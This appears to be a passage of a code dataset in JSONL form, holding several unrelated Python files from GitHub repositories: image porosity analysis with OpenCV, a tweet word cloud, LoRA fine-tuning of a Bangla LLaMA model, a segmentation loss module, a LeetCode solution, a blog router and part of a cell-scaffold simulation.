{width} and Threshold {custom_threshold}\")\n # Crop to eliminate base\n transforms = crop_base(height=int(height), width=int(width))\n transforms = A.Compose(transforms)\n transformed = transforms(image=img)\n crop_image = transformed[\"image\"]\n # -------------------------------------------------------------- #\n # Normalize\n crop_image = cv.normalize(crop_image, None, alpha=0, beta=255, norm_type=cv.NORM_MINMAX, dtype=cv.CV_8U) # noqa: E501\n # Try median filter\n median_img = cv.medianBlur(crop_image, 5) # Add median filter to image\n # pilim(median_img).save(\"median_filter.tif\")\n cv.imwrite(name + \"/\" + \"median_filter.jpg\", median_img)\n\n # -------------------------------------------------------------- #\n # - (B) - Binarized image\n # -------------------------------------------------------------- #\n # Otsu\n Threshold = custom_threshold\n ret, th1 = cv.threshold(median_img, Threshold, 255, cv.THRESH_BINARY | cv.THRESH_OTSU) # noqa: E501\n # try adaptive threshold\n th2 = cv.adaptiveThreshold(median_img, 255, cv.ADAPTIVE_THRESH_MEAN_C, cv.THRESH_BINARY, 11, 3) # noqa: E501\n th3 = cv.adaptiveThreshold(median_img, 255, cv.ADAPTIVE_THRESH_GAUSSIAN_C, cv.THRESH_BINARY, 11, 3) # noqa: E501\n\n titles = ['Original', \"THRESH_BINARY\", 'Adaptive Mean Thresh', 'Adaptive Gaussian Thresh'] # noqa: E501\n images = [crop_image, th1, th2, th3]\n for count, im in enumerate(images):\n cv.imwrite(name + \"/\" + titles[count] + \".jpg\", im)\n # pilim(im).save(titles[count] + \".tif\")\n\n # -------------------------------------------------------------- #\n # - (C) -- Overlay binarized onto original-----\n # -------------------------------------------------------------- #\n # setting alpha=1, beta=1, gamma=0 gives direct overlay of two images\n alpha = 1\n beta = 1\n gamma = 0\n overlay = cv.addWeighted(th1, alpha, median_img, beta, gamma)\n cv.imwrite(name + \"/\" + 'overlay.jpg', overlay)\n\n # -------------------------------------------------------------- #\n # -(D) -- Euclidean Distance from B -> encode into gray values -\n # -------------------------------------------------------------- #\n # invert\n inv_th1 = cv.bitwise_not(th1)\n # Perform the distance transform algorithm\n dist = cv.distanceTransform(inv_th1, cv.DIST_L2, 3)\n # Normalize the distance image for range = {0.0, 1.0}\n dist_transform = cv.normalize(dist, None, alpha=0, beta=255, norm_type=cv.NORM_MINMAX, dtype=cv.CV_8U) # noqa: E501\n cv.imwrite(name + \"/\" + 'Distance Transform.jpg', dist_transform)\n\n # Euclidean distance is L2\n # -------------------------------------------------------------- #\n # (E) identify local maxima in (d) -> fir circles into (b)\n # -------------------------------------------------------------- #\n bin_circles = cv.cvtColor(th1, cv.COLOR_GRAY2RGB)\n rad_list = []\n # Can also use while to color everything\n for counts in range(2500):\n maxDT = np.unravel_index(dist_transform.argmax(), dist_transform.shape) # noqa: E501\n\n center_coordinates = (maxDT[1], maxDT[0])\n\n for x in range(1, 50):\n value = neighbors(dist_transform, x, maxDT[0], maxDT[1])\n value = np.array(value)\n if value.min() == 0:\n # First black pixel found\n minval = np.unravel_index(value.argmin(), value.shape) # noqa: E501\n # Center\n maxval = np.unravel_index(value.argmax(), value.shape) # noqa: E501\n break\n\n # radius of circle is distance to point\n eDistance = int(math.dist(maxval, minval))\n # save radius of circles\n rad_list.append(int(eDistance))\n # Draw circles\n if eDistance > 15:\n color = (0, 0, 100) # Red ing BGR\n elif eDistance > 10:\n color = (100, 0, 0) # Blue\n else:\n color = (0, 100, 0) # Green\n thickness = -1 # full circles\n # over the binary image\n bin_circles = cv.circle(bin_circles, center_coordinates, eDistance, color, thickness) # noqa: E501\n # prevents from taking same location as before taking the distance of the TH with circles\n dist_transform = cv.circle(dist_transform, center_coordinates, eDistance, 0, thickness) # noqa: E501\n dist_transform = cv.distanceTransform(dist_transform, cv.DIST_L2, 3) # noqa: E501\n dist_transform = cv.normalize(dist_transform, None, alpha=0, beta=255, norm_type=cv.NORM_MINMAX, dtype=cv.CV_8U) # noqa: E501\n\n print(f\" {name} total number of circles created: {len(rad_list)}\")\n with open(name + \"/\" + 'radius.txt', 'w') as f:\n for item in rad_list:\n f.write(\"%s\\n\" % item)\n cv.imwrite(name + \"/\" + 'bin_circles.jpg', bin_circles)\n cv.imwrite(name + \"/\" + 'support_bin_circles.jpg', dist_transform)\n\n # -------------------------------------------------------------- #\n # (F) plot the size distribution that is obtained from the diameters of the fitted circles in (e) # noqa: E501\n # -------------------------------------------------------------- #\n plt.hist(rad_list, bins=23, range=(0, 25), density=False)\n plt.ylabel('counts')\n plt.xlabel('radius')\n plt.title(\"rad of cirlces\")\n plt.savefig(name + \"/\" + \"histo_rad_circles\")\n\n # -------------------------------------------------------------- #\n # (G) shows a brightness histogram of (a).\n # -------------------------------------------------------------- #\n # density=False would make counts\n plt.hist(median_img.flat, bins=225, range=(0, 255), density=False)\n plt.axvline(Threshold, color='r', linewidth=2)\n plt.ylabel('Counts')\n plt.xlabel('Pixel intensity')\n plt.title(\"Histogram median filder\")\n plt.savefig(name + \"/\" + \"histogram median_filter\")\n\n\nif __name__ == \"__main__\":\n # folder with all raw images\n root_images = \"./root_images\"\n # includes all .tif files\n files = [f for f in os.listdir(root_images) if f.endswith('.tif')]\n print(files)\n # CHANGE Threshold based on Histogram_median_filter <----- change\n # In alphabetical order [transparent sample, white sample]\n Threshold = [45, 100]\n for count, image in enumerate(files):\n # goes through all images in root folder\n cv_img(image, root_images, Threshold[count])\n","repo_name":"AndresC-repo/Python","sub_path":"porosity_analysis-main/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":7702,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"71869273123","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Nov 4 13:41:02 2018\n\n@author: zhangxinrun\n\"\"\"\n\nimport numpy as np # linear algebra\nimport pandas as pd # data processing, CSV file I/O (e.g. pd.read_csv)\nimport matplotlib.pyplot as plt\nimport os\nfrom PIL import Image\nfrom wordcloud import WordCloud, ImageColorGenerator\nfrom os import path\n\n\n# get data directory (using getcwd() is needed to support running example in generated IPython notebook)\nd = path.dirname(__file__) if \"__file__\" in locals() else os.getcwd()\n\n# Read data\ndata = pd.read_csv('Donald-Tweets.csv')\ndata.info()\n\n# remove two last null values\ndata['Unnamed: 10'].replace(np.nan, '0', inplace=True)\ndata['Unnamed: 11'].replace(np.nan, '0', inplace=True)\n\n# grab data from csv.tweet_text, the data type is string\nwordcld = pd.Series(data['Tweet_Text'].tolist()).astype(str)\n\n# Most frequent words in the data set. Using wordcloud\n# mask\ntrump_mask = np.array(Image.open(path.join(d, \"trump-mask1.jpg\")))\n\n# generate word cloud\ncloud = WordCloud(width=900, height=900,\n background_color=\"white\",\n max_words=2000,\n stopwords=('https', 'https co', 'co'), \n mask=trump_mask,\n random_state=42).generate(''.join(wordcld.astype(str)))\n\n# create coloring from image\nimage_colors = ImageColorGenerator(trump_mask)\n\n# show - this part is not neccessary\n# because what we want is to output an image file\nfig, axes = plt.subplots(1, 3)\naxes[0].imshow(cloud, interpolation=\"bilinear\")\n# recolor wordcloud and show\n# we could also give color_func=image_colors directly in the constructor\naxes[1].imshow(cloud.recolor(color_func=image_colors), interpolation=\"bilinear\")\naxes[2].imshow(trump_mask, cmap=plt.cm.gray, interpolation=\"bilinear\")\nfor ax in axes:\n ax.set_axis_off()\nplt.show()\n\n# output image to local file system\ncloud.to_file(\"2222.png\")","repo_name":"Arecardo/Fall2018-Visualization-59500-001","sub_path":"Project2/trump_wordcloud.py","file_name":"trump_wordcloud.py","file_ext":"py","file_size_in_byte":1909,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"19359326146","text":"\"\"\"\nAlpaca LLAMA Fine Tunning Model training script\n\"\"\"\n\n\nimport os\nimport sys\nimport torch\nimport torch.nn as nn\nimport bitsandbytes as bnb\nfrom datasets import load_dataset\nimport transformers\n\nassert (\n \"LlamaTokenizer\" in transformers._import_structure[\"models.llama\"]\n), \"LLaMA is now in HuggingFace's main branch.\\n Please reinstall it: pip uninstall transformers && \\pip install git+https://github.com/huggingface/transformers.git\"\nfrom transformers import LlamaForCausalLM, LlamaTokenizer\nfrom peft import (\n prepare_model_for_int8_training,\n LoraConfig,\n get_peft_model,\n get_peft_model_state_dict,\n)\nfrom config import Config as cfg\n\ndevice_map = cfg.DEVICE_MAP\nworld_size = int(os.environ.get(\"WORLD_SIZE\", 1))\nddp = world_size != 1\nGRADIENT_ACCUMULATION_STEPS = cfg.GRADIENT_ACCUMULATION_STEPS\nif ddp:\n device_map = {\"\": int(os.environ.get(\"LOCAL_RANK\") or 0)}\n GRADIENT_ACCUMULATION_STEPS = GRADIENT_ACCUMULATION_STEPS // world_size\n\n\nclass BanglaAlpacaLocraLLAMA:\n def __init__(self):\n self.lora_r = cfg.LORA_R\n self.lora_dropout = cfg.LORA_DROPOUT\n self.target_modules = cfg.TARGET_MODULES\n self.load_in_8bit= cfg.LOAD_IN_8BIT\n self.lora_alpha = cfg.LORA_ALPHA\n self.pretrain_model_name = cfg.PRETRAIN_MODEL_NAME\n self.cutoff_len = cfg.CUTOFF_LEN\n self.instruction = cfg.INSTRUCTION\n self.data_path = cfg.DATA_PATH\n self.language = cfg.LANGUAGE\n self.warmup_steps = cfg.WARMUP_STEPS\n self.num_train_epochs = cfg.EPOCHS\n self.learning_rate = cfg.LEARNING_RATE\n self.fp16 = cfg.FP16\n self.save_strategy= cfg.SAVE_STRATEGY\n self.eval_steps=cfg.EVAL_STEPS \n self.save_steps =cfg.SAVE_STEPS\n self.output_dir=cfg.OUTPUT_DIR\n self.save_total_limit=cfg.SAVE_TOTAL_LILMIT\n self.per_device_train_batch_size = cfg.MICRO_BATCH_SIZE\n self.logging_steps=cfg.LOGGING_STEPS\n self.evaluation_strategy = cfg.EVALUATION_STRATEGY\n self.run_name = cfg.RUN_NAME\n self.val_set_size = cfg.VAL_SET_SIZE\n self.tokenizer = self.llm_tokenizer_loading()\n\n def llm_model_loading(self)-> object:\n \"\"\"\n pretrain model loading and peft configuration\n \"\"\"\n\n model = LlamaForCausalLM.from_pretrained(\n self.pretrain_model_name,\n load_in_8bit=self.load_in_8bit,\n device_map=device_map\n )\n model = prepare_model_for_int8_training(model)\n\n # print(\"lora_r\", type(self.lora_r))\n\n config = LoraConfig(\n r = self.lora_r,\n lora_alpha=self.lora_alpha,\n target_modules=self.target_modules,\n lora_dropout=self.lora_dropout,\n bias=\"none\",\n task_type=\"CAUSAL_LM\",\n )\n model = get_peft_model(model, config)\n \n return model\n\n def llm_tokenizer_loading(self)->object:\n \"\"\"\n pretrain tokenizer loading\n \"\"\"\n tokenizer = LlamaTokenizer.from_pretrained(\n self.pretrain_model_name, \n add_eos_token=True\n )\n tokenizer.pad_token_id = 0\n return tokenizer\n \n def tokenize(self, prompt:str)->dict:\n \"\"\"\n tokenizer way of prompt\n there's a way to do this with the tokenizer settings but again, gotta move fast\n \"\"\"\n result = self.tokenizer(\n prompt,\n truncation=True,\n max_length=self.cutoff_len + 1,\n padding=\"max_length\",\n )\n return {\n \"input_ids\": result[\"input_ids\"][:-1],\n \"attention_mask\": result[\"attention_mask\"][:-1],\n }\n\n def generate_prompt(self, data_point:dict, language:dict)-> str:\n \"\"\"\n prompt generation\n \"\"\"\n\n if data_point[\"input\"]:\n format_data = f\"\"\"{self.instruction[f\"{language}_input\"]}\n ### Instruction:\n {data_point[\"instruction\"]}\n ### Input:\n {data_point[\"input\"]}\n ### Response:\n {data_point[\"output\"]}\n \"\"\"\n else:\n format_data = f\"\"\"{self.instruction[language]}\n ### Instruction:\n {data_point[\"instruction\"]}\n ### Response:\n {data_point[\"output\"]}\n \"\"\"\n return format_data\n\n def generate_and_tokenize_prompt(self, data_point:dict)-> list:\n \"\"\"\n prompt and tokenizer generation process\n \"\"\"\n prompt = self.generate_prompt(data_point, self.language)\n return self.tokenize(prompt)\n\n def data_processing(self):\n \"\"\"\n data processing file\n input data structure format[JSON] :\n [\n {\n \"instruction\": \"হাই! কেমন চলছে?\",\n \"input\": \"\",\n \"output\": \"আমি ভালো আছি. তোমার কি অবস্থা?\"\n },\n .,\n .,\n .,\n {\n \"instruction\": \"তুমি কোন স্কুলে যাও?\",\n \"input\": \"\",\n \"output\": \"আমি পিসিসিতে যাই।\"\n }\n ]\n \"\"\"\n data = load_dataset(\"json\", data_files=self.data_path)\n if self.val_set_size > 0:\n train_val = data[\"train\"].train_test_split(\n test_size=self.val_set_size, shuffle=True, seed=42\n )\n train_data = train_val[\"train\"].shuffle().map(self.generate_and_tokenize_prompt)\n val_data = train_val[\"test\"].shuffle().map(self.generate_and_tokenize_prompt)\n else:\n train_data = data[\"train\"].shuffle().map(self.generate_and_tokenize_prompt)\n val_data = None\n return train_data, val_data\n\n def training(self):\n \"\"\"\n Training process function\n \"\"\"\n print(\"============== Start Data Processing =============\")\n train_data, val_data = self.data_processing()\n\n print(\"Training Data : \", len(train_data))\n print(\"Validation Data : \", len(val_data))\n print(\"=================== Complete=======================\")\n model = self.llm_model_loading()\n # define the training arguments\n trainer = transformers.Trainer(\n model= model,\n train_dataset=train_data,\n eval_dataset=val_data,\n args=transformers.TrainingArguments(\n per_device_train_batch_size=self.per_device_train_batch_size,\n gradient_accumulation_steps=GRADIENT_ACCUMULATION_STEPS,\n warmup_steps=self.warmup_steps,\n num_train_epochs=self.num_train_epochs,\n learning_rate=self.learning_rate,\n fp16=self.fp16,\n logging_steps=self.logging_steps,\n evaluation_strategy= self.evaluation_strategy if self.val_set_size > 0 else \"no\",\n save_strategy= self.save_strategy,\n eval_steps=self.eval_steps if self.val_set_size > 0 else None,\n save_steps=self.save_steps,\n output_dir=self.output_dir,\n save_total_limit=self.save_total_limit,\n load_best_model_at_end=True if self.val_set_size > 0 else False,\n ddp_find_unused_parameters=False if ddp else None,\n # report_to=\"wandb\", # enable logging to W&B\n run_name= self.run_name\n ),\n data_collator=transformers.DataCollatorForLanguageModeling(self.tokenizer, mlm=False),\n )\n model.config.use_cache = False\n\n old_state_dict = model.state_dict\n model.state_dict = (\n lambda self, *_, **__: get_peft_model_state_dict(self, old_state_dict())\n ).__get__(model, type(model))\n\n if torch.__version__ >= \"2\" and sys.platform != \"win32\":\n model = torch.compile(model)\n\n\n trainer.train()\n model.save_pretrained(self.output_dir)\n\n\nif __name__ == \"__main__\":\n\n bnal_llama = BanglaAlpacaLocraLLAMA()\n bnal_llama.training()","repo_name":"saiful9379/Bangla_LLAMA","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":8175,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"11621468515","text":"'''\nEjercicio 1: Triángulos\n\nEscriba una función que tome las longitudes de los dos lados más cortos de un triángulo rectángulo como sus parámetros y\n devuelva la hipotenusa del triángulo, \ncalculada usando el teorema de Pitágoras, como resultado de la función. \nIncluya un programa principal que lea las longitudes de los lados más cortos de un triángulo rectángulo del usuario, \nuse su función para calcular la longitud de la hipotenusa y muestre el resultado.\n'''\n\ndef hipotenusa(a,b):\n\th = 0\n\tx = a**2 + b**2\n\twhile h * h < x:\n\t\th += 1\n\tprint(h)\t\n\n\n\n\nprint(\"\\n\\nPara calcular la hipotenusa de un triángulo: \")\ncatetoA = int(input(\"Ingrese valor de cateto A: \"))\ncatetoB = int(input(\"Ingrese valor de cateto B: \"))\nprint(\"\\nResultado:\")\nhipotenusa(catetoA,catetoB)\n\n","repo_name":"DamianFLucero/Formacion","sub_path":"InformatorioEtapa2/python/4_funciones/Complementarios/1.py","file_name":"1.py","file_ext":"py","file_size_in_byte":783,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"25027640276","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\nfrom ..builder import LOSSES\nfrom .utils import weight_reduce_loss\n\nactSoft = nn.Softmax(dim=1)\nactLogSoft = nn.LogSoftmax(dim=1)\n\n\ndef _expand_onehot_labels(labels, label_weights, target_shape, ignore_index):\n \"\"\"Expand onehot labels to match the size of prediction.\"\"\"\n bin_labels = labels.new_zeros(target_shape)\n valid_mask = (labels >= 0) & (labels != ignore_index)\n inds = torch.nonzero(valid_mask, as_tuple=True)\n\n if inds[0].numel() > 0:\n if labels.dim() == 3:\n bin_labels[inds[0], labels[valid_mask], inds[1], inds[2]] = 1\n else:\n bin_labels[inds[0], labels[valid_mask]] = 1\n\n valid_mask = valid_mask.unsqueeze(1).expand(target_shape).float()\n if label_weights is None:\n bin_label_weights = valid_mask\n else:\n bin_label_weights = label_weights.unsqueeze(1).expand(target_shape)\n bin_label_weights *= valid_mask\n\n return bin_labels, bin_label_weights\n\n\ndef flow_loss(logit, label, num_classes, alpha, beta,\n weight=None, class_weight=None, reduction='mean', avg_factor=None, ignore_index=None):\n \n # apply weights and do the reduction\n if weight is not None:\n weight = weight.float()\n\n # class_weight is a manual rescaling weight given to each class.\n # If given, has to be a Tensor of size C element-wise losses\n loss_con = F.cross_entropy(logit, label, reduction='none', ignore_index=ignore_index)\n loss_con = weight_reduce_loss(loss_con, weight=weight, reduction=reduction, avg_factor=avg_factor)\n if ignore_index == -101:\n logit_bin = torch.cat((\n torch.logsumexp(logit[:,:-1,...], dim=1, keepdim=True), \n logit[:,-1,...].unsqueeze(1)), dim=1)\n label_bin = 1*(label >= num_classes)\n loss_bin = F.cross_entropy(logit_bin, label_bin, reduction='none')\n loss_bin = weight_reduce_loss(loss_bin, reduction=reduction, avg_factor=avg_factor)\n else:\n loss_bin = torch.zeros_like(loss_con)\n return loss_con, loss_bin\n\n\ndef flow_binary_loss(linear_logit, flow_logit, label, ood_model, num_classes, alpha, beta,\n weight=None, class_weight=None, reduction='mean', avg_factor=None, ignore_index=None):\n\n CL = num_classes\n if 'FMD' in ood_model:\n y_mix = torch.zeros_like(label)\n elif 'GMM' in ood_model:\n y_mix = label\n elif 'EXP' in ood_model:\n argSoft = torch.argmax(linear_logit, dim=1)\n y_mix = argSoft.clone()\n mSoft = (label != argSoft) # miss/hit\n if torch.sum(mSoft) != 0: # make sure we have negatives\n y_mix[mSoft] = y_mix[mSoft] + CL\n \n label, weight = _expand_onehot_labels(y_mix, weight, flow_logit.shape, ignore_index)\n #label_shadow_one_hot = F.one_hot(label_shadow, num_classes=2*num_classes).float()\n \n loss = F.binary_cross_entropy_with_logits(flow_logit, label.float(), reduction='none')\n # apply weights and do the reduction\n if weight is not None:\n weight = weight.float()\n # do the reduction for the weighted loss\n loss = alpha * weight_reduce_loss(loss, weight, reduction=reduction, avg_factor=avg_factor)\n #loss_cond[loss_cond != loss_cond] = 0.0 # Replace NaN's with 0\n return loss\n\n\n@LOSSES.register_module()\nclass FlowLoss(nn.Module):\n \"\"\"FlowLoss.\n\n Args:\n use_sigmoid (bool, optional): Whether the prediction uses sigmoid\n of softmax. Defaults to False.\n use_mask (bool, optional): Whether to use mask cross entropy loss.\n Defaults to False.\n reduction (str, optional): . Defaults to 'mean'.\n Options are \"none\", \"mean\" and \"sum\".\n class_weight (list[float], optional): Weight of each class.\n Defaults to None.\n loss_weight (float, optional): Weight of the loss. Defaults to 1.0.\n \"\"\"\n\n def __init__(self, num_classes=-1, alpha=1.0, beta=1.0, use_sigmoid=False, use_mask=False, reduction='mean', class_weight=None, loss_weight=1.0):\n super(FlowLoss, self).__init__()\n assert (use_sigmoid is False) or (use_mask is False)\n self.num_classes = num_classes\n self.alpha = alpha\n self.beta = beta\n self.use_sigmoid = use_sigmoid\n self.use_mask = use_mask\n self.reduction = reduction\n self.loss_weight = loss_weight\n self.class_weight = class_weight\n\n #elif self.use_mask:\n # self.cls_criterion = mask_flow_loss\n if self.use_sigmoid:\n self.cls_criterion = flow_binary_loss\n else:\n self.cls_criterion = flow_loss\n\n def forward(self, logit, label, weight=None, avg_factor=None, reduction_override=None, **kwargs):\n \"\"\"Forward function.\"\"\"\n assert reduction_override in (None, 'none', 'mean', 'sum')\n reduction = (reduction_override if reduction_override else self.reduction)\n if 0: #self.class_weight is not None:\n print(self.class_weight, logit.shape)\n class_weight = torch.tensor(self.class_weight).to(logit.device)\n else:\n class_weight = None\n losses = self.cls_criterion(logit, label, self.num_classes, self.alpha, self.beta,\n weight, class_weight=class_weight, reduction=reduction, avg_factor=avg_factor, **kwargs)\n \n #losses = [self.loss_weight * loss for loss in losses]\n return losses\n","repo_name":"gudovskiy/flowenedet","sub_path":"mmseg/models/losses/flow_loss.py","file_name":"flow_loss.py","file_ext":"py","file_size_in_byte":5428,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"54"} +{"seq_id":"8291571249","text":"\"\"\"\n152. 乘积最大子数组\n数组 动态规划\n中等\n\n\n给你一个整数数组 nums ,请你找出数组中乘积最大的连续子数组(该子数组中至少包含一个数字),并返回该子数组所对应的乘积。\n\n \n\n示例 1:\n\n输入: [2,3,-2,4]\n输出: 6\n解释: 子数组 [2,3] 有最大乘积 6。\n示例 2:\n\n输入: [-2,0,-1]\n输出: 0\n解释: 结果不能为 2, 因为 [-2,-1] 不是子数组。\n\n来源:力扣(LeetCode)\n链接:https://leetcode-cn.com/problems/maximum-product-subarray\n\"\"\"\nfrom typing import List\n\n\nclass Solution:\n def maxProduct(self, nums: List[int]) -> int:\n size = len(nums)\n max_f = nums.copy()\n min_f = nums.copy()\n for i in range(1, size):\n max_f[i] = max(max_f[i - 1] * nums[i], nums[i], min_f[i - 1] * nums[i])\n min_f[i] = min(min_f[i - 1] * nums[i], nums[i], max_f[i - 1] * nums[i])\n ans = max_f[0]\n for i in range(1, size):\n ans = max(ans, max_f[i])\n return ans\n\n\nif __name__ == '__main__':\n solution = Solution()\n\n result = solution.maxProduct([2, 3, -2, 4])\n print(result)\n assert result == 6\n\n result = solution.maxProduct([-2, 0, -1])\n print(result)\n assert result == 0\n\n result = solution.maxProduct([-3, -1, -1])\n print(result)\n assert result == 3\n","repo_name":"geeknonerd/leetcode","sub_path":"product/maximum_product_subarray.py","file_name":"maximum_product_subarray.py","file_ext":"py","file_size_in_byte":1338,"program_lang":"python","lang":"zh","doc_type":"code","stars":18,"dataset":"github-code","pt":"54"} +{"seq_id":"19025241661","text":"import webapp2\nfrom handlers import *\n\napp = webapp2.WSGIApplication([\n ('/', MainPage),\n (r'/blog/?', BlogPageHandler),\n (r'/blog/signup/?', SignUpHandler),\n (r'/blog/login/?', LoginHandler),\n (r'/blog/welcome/?', WelcomeHandler),\n (r'/blog/newpost/?', NewPostHandler),\n (r'/blog/(\\d+)/?', PermalinkHandler),\n (r'/blog/logout/?', LogoutHandler),\n (r'/blog/(\\d+)/edit', EditPageHandler),\n (r'/blog/(\\d+)/delete', DeletePageHandler),\n (r'/blog/(\\d+)/createComment', CreateCommentHandler),\n (r'/blog/(\\d+)/editComment', EditCommentHandler),\n (r'/blog/(\\d+)/deleteComment', DeleteCommentHandler),\n (r'/blog/(\\w+)/?', UserBlogPageHandler) # check if a user page exists\n], debug=True)\n","repo_name":"pravs91/multi-user-blog","sub_path":"multi_user_blog.py","file_name":"multi_user_blog.py","file_ext":"py","file_size_in_byte":723,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"36936006728","text":"from operator import truediv\r\nimport numpy as np\r\nimport math as m\r\nimport random as r\r\n\r\nclass Scaffold:\r\n def __init__(self, dimension, porosity, pore_diameter, packing_density, cell_diameter, scaffold_stiffness,\r\n ligand_factor):\r\n \"\"\"Seven parameter constructor that defines a scaffold utilizing individual spherical pores.\r\n\r\n :param dimension: side dimension of cubical scaffold (µm).\r\n :param porosity: empty or void volume fraction of the scaffold (%).\r\n :param pore_diameter: diameter of pores occupying scaffold (µm).\r\n :param packing_density: fraction of void or empty volume within the scaffold that can be occupied by cells (%)\r\n :param cell_diameter: diameter of cells occupying scaffold (µm).\r\n :param scaffold_stiffness: the Young's modulus of the scaffold.\r\n :param ligand_factor: percentage of normal ligand percentage in the scaffold.\r\n \"\"\"\r\n # --------------------------------------------------------------------------\r\n # Tracks the number of cells in the scaffold, cell IDs in the scaffold, and the time elapsed in the scaffold\r\n # --------------------------------------------------------------------------\r\n self.__cell_count = 0\r\n self.__cell_ID_counter = 1\r\n self.__time = 0\r\n\r\n # --------------------------------------------------------------------------\r\n # Generate scaffold characteristics\r\n # --------------------------------------------------------------------------\r\n # Generates various scaffold characteristics from method parameters\r\n cluster_array, pore_number, cluster_cell_max, scaffold_cell_max, pores_per_cluster = \\\r\n self.__generate_pore_scaffold_properties(dimension, porosity, pore_diameter, packing_density, cell_diameter)\r\n\r\n\r\n # Member Variables\r\n self.__pore_number = pore_number # The number of pores in the scaffold\r\n self.__pore_diameter = pore_diameter # The diameters of pores in the scaffold\r\n self.__cell_diameter = cell_diameter # The cell diameter of cells that can be seeded in\r\n # scaffold\r\n self.__cluster_array = cluster_array # An array that represents the coordinates of each\r\n # pore cluster along a scaffold side length to represent any\r\n # position in the scaffold\r\n self.__cluster_cell_max = cluster_cell_max # The maximum number of cells one pore cluster in the\r\n # scaffold can hold\r\n self.__scaffold_cell_max = scaffold_cell_max # The maximum number of cells the scaffold can hold\r\n self.__scaffold_stiffness = scaffold_stiffness # The scaffold stiffness (Pa)\r\n self.__ligand_factor = ligand_factor # The percent of normal ligand percentage\r\n\r\n # --------------------------------------------------------------------------\r\n # Generate the pores in the scaffold and assigns their positions\r\n # --------------------------------------------------------------------------\r\n # Number of clusters per scaffold side length\r\n cluster_array_size = len(cluster_array)\r\n\r\n # Generate the scaffold based on the number of clusters\r\n self.scaffold = [[[self.Pore_cluster(None, 0, self.__cluster_cell_max, pore_diameter, pores_per_cluster)\r\n for x in range(cluster_array_size)]\r\n for y in range(cluster_array_size)]\r\n for z in range(cluster_array_size)]\r\n\r\n # Assign each pore cluster a unique position within the scaffold\r\n self.__assign_positions(cluster_array_size)\r\n\r\n # --------------------------------------------------------------------------\r\n # Initializes and stores cell objects that are in the scaffold\r\n # --------------------------------------------------------------------------\r\n self.cell_objs = []\r\n\r\n\r\n def __init__(self, dimension, porosity, pore_diameter, packing_density, cell_diameter, scaffold_stiffness,\r\n ligand_factor, pore_cluster_count):\r\n \"\"\"Eight parameter constructor that defines a scaffold utilizing clusters of spherical pores rather than\r\n individual pores.\r\n\r\n :param dimension: side dimension of cubical scaffold (µm).\r\n :param porosity: empty or void volume fraction of the scaffold (%).\r\n :param pore_diameter: diameter of pores occupying scaffold (µm).\r\n :param packing_density: fraction of void or empty volume within the scaffold that can be occupied by cells (%)\r\n :param cell_diameter: diameter of cells occupying scaffold (µm).\r\n :param scaffold_stiffness: the Young's modulus of the scaffold.\r\n :param ligand_factor: percentage of normal ligand percentage in the scaffold.\r\n :param pore_cluster_count: number of clusters that define all pores within the scaffold\r\n \"\"\"\r\n # --------------------------------------------------------------------------\r\n # Tracks the number of cells in the scaffold, cell IDs in the scaffold\r\n # --------------------------------------------------------------------------\r\n self.__cell_count = 0\r\n self.__cell_ID_counter = 1\r\n\r\n # --------------------------------------------------------------------------\r\n # Generate scaffold characteristics\r\n # --------------------------------------------------------------------------\r\n # Generates various scaffold characteristics from method parameters\r\n cluster_array, pore_number, cluster_cell_max, scaffold_cell_max, pores_per_cluster = \\\r\n self.__generate_environment_properties(dimension, porosity, pore_diameter, packing_density, cell_diameter,\r\n pore_cluster_count)\r\n\r\n # Member Variables\r\n self.__pore_number = pore_number # The number of pores in the scaffold\r\n self.__cluster_count = pore_cluster_count # The number of clusters in the scaffold\r\n self.__pore_diameter = pore_diameter # The diameters of pores in the scaffold\r\n self.__cell_diameter = cell_diameter # The cell diameter of cells that can be seeded in\r\n # scaffold\r\n self.__cluster_array = cluster_array # An array that represents the coordinates of each\r\n # pore cluster along a scaffold side length to represent any\r\n # position in the scaffold\r\n self.__cluster_cell_max = cluster_cell_max # The maximum number of cells one pore cluster in the\r\n # scaffold can hold\r\n self.__scaffold_cell_max = scaffold_cell_max # The maximum number of cells the scaffold can hold\r\n self.__scaffold_stiffness = scaffold_stiffness # The scaffold stiffness (Pa)\r\n self.__ligand_factor = ligand_factor # The percent of normal ligand percentage\r\n\r\n # --------------------------------------------------------------------------\r\n # Generate the pores in the scaffold and assigns their positions\r\n # --------------------------------------------------------------------------\r\n # Number of clusters per scaffold side length\r\n cluster_array_size = len(cluster_array)\r\n\r\n # Generate the scaffold based on the number of clusters\r\n self.scaffold = [[[self.Pore_cluster(None, 0, self.__cluster_cell_max, pore_diameter, pores_per_cluster)\r\n for x in range(cluster_array_size)]\r\n for y in range(cluster_array_size)]\r\n for z in range(cluster_array_size)]\r\n\r\n # Assign each pore cluster a unique position within the scaffold\r\n self.__assign_positions(cluster_array_size)\r\n\r\n # --------------------------------------------------------------------------\r\n # Initializes and stores cell objects that are in the scaffold\r\n # --------------------------------------------------------------------------\r\n self.cell_objs = []\r\n\r\n # --------------------------------------------------------------------------\r\n # Getters and Setters for Scaffold\r\n # --------------------------------------------------------------------------\r\n def get_cell_count(self):\r\n \"\"\"Returns cell count in the scaffold\"\"\"\r\n return self.__cell_count\r\n\r\n def get_pore_number(self):\r\n \"\"\"Returns the number of pores in the scaffold.\"\"\"\r\n return self.__pore_number\r\n\r\n def get_cluster_count(self):\r\n \"\"\"Returns the number of pore clusters within the scaffold.\"\"\"\r\n return self.__cluster_count\r\n\r\n def get_cell_diameter(self):\r\n \"\"\"Returns the cell diameter (µm) of the cells defined in the scaffold.\"\"\"\r\n return self.__cell_diameter\r\n\r\n def get_pore_size(self):\r\n \"\"\"Returns the pore diameter (µm) of the cells defined in the scaffold.\"\"\"\r\n return self.__pore_diameter\r\n\r\n def get_scaffold_stiffness(self):\r\n \"\"\"Returns the scaffold's stiffness or Young's Modulus 